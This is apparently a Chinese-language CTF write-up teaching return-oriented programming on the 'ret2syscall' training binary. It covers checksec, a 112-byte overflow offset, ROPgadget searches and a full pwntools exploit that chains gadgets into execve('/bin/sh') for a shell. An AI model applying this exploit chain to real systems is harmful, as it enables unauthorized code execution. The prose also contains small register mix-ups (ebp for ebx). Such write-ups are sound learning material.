ROP学习

前言

通过一道PWN题目学习ROP。

随着 NX 保护 (No-eXecute 不可执行) 的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP (Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ROPgadget工具可以帮助你寻找合适的gadgets,在编写你的ROP exp的时候有很大作用。ROPgadget支持x86, x64, ARM, ARM64, PowerPC, SPARC和MIPS架构下的ELF/PE/Mach-O文件格式。

这里我们需要构造的gadget如下

1
2
3
4
5
6
mov eax,0xb
mov ebx,["/bin/sh"]
mov ecx,0
mov edx,0
int 0x80
==> execve("/bin/sh",NULL,NULL)

0x00

checksec查看开启了哪些保护机制

1
2
3
4
5
6
-> % checksec ret2syscall
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

通过查看架构得之主要的寄存器有eax ebp ebx ecx..

程序执行如下,输出前两句后接受输入,然后退出

1
2
3
4
[root@VM-16-14-centos rop]# ./ret2syscall
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaa

反编译查看,从gets函数得之存在溢出漏洞

1

pwndbg查看寄存器位置,发现eax寄存器位置为0xffffd29cebp寄存器的位置为0xffffd308,如果我们想要覆盖掉ebp寄存器的位置,则需要填充的字节为0xffffd308-0xffffd29c字节再加上ebp所占的4个字节,因为架构是32位的。即需要填充112字节。

2

0x01

接着我们通过ROPgadget工具寻找gadget

首先寻找eax的pop|ret地址,选择0x080bb196地址最合适

1
2
3
4
5
6
-> % ROPgadget --binary ret2syscall --only "pop|ret" | grep eax
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

接着寻找ebx的pop|ret地址,有很多,哪一个最适合呢,发现0x0806eb90最合适,因为它也有ecxedx寄存器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
-> % ROPgadget --binary ret2syscall --only "pop|ret" | grep ebx
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

最后我们寻找int,地址为0x08049421

1
2
3
4
5
6
-> % ROPgadget --binary ret2syscall --only "int"
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

因为ebp寄存器中需要写入/bin/sh,因此我们还需要在程序中找到/bin/sh的地址

ghidra中全局搜索发现地址为0x80be408

3

或者通过python编写脚本获取

1
2
3
4
5
6
7
8
9
10
11
12
>>> from pwn import *
>>> elf = ELF("./ret2syscall")
[*] '/root/pwn/rop/ret2syscall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
>>> elf.search(b'/bin/sh')
<generator object ELF.search at 0x7f024f030db0>
>>> hex(next(elf.search(b"/bin/sh")))
'0x80be408'

0x02

编写exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
io = process("./ret2syscall")

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_80h = 0x08049421
bin_sh = 0x080be408
payload = flat([b'A'*112, pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_80h])

io.sendline(payload)
io.interactive()

0x03

本地执行exp获取shell

1
2
3
4
5
6
7
8
[root@VM-16-14-centos rop]# python3 exp.py
[+] Starting local process './ret2syscall': pid 3300219
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ ls
exp.py ret2libc2 ret2shellcode ret2text
ret2libc1 ret2libc3 ret2syscall tools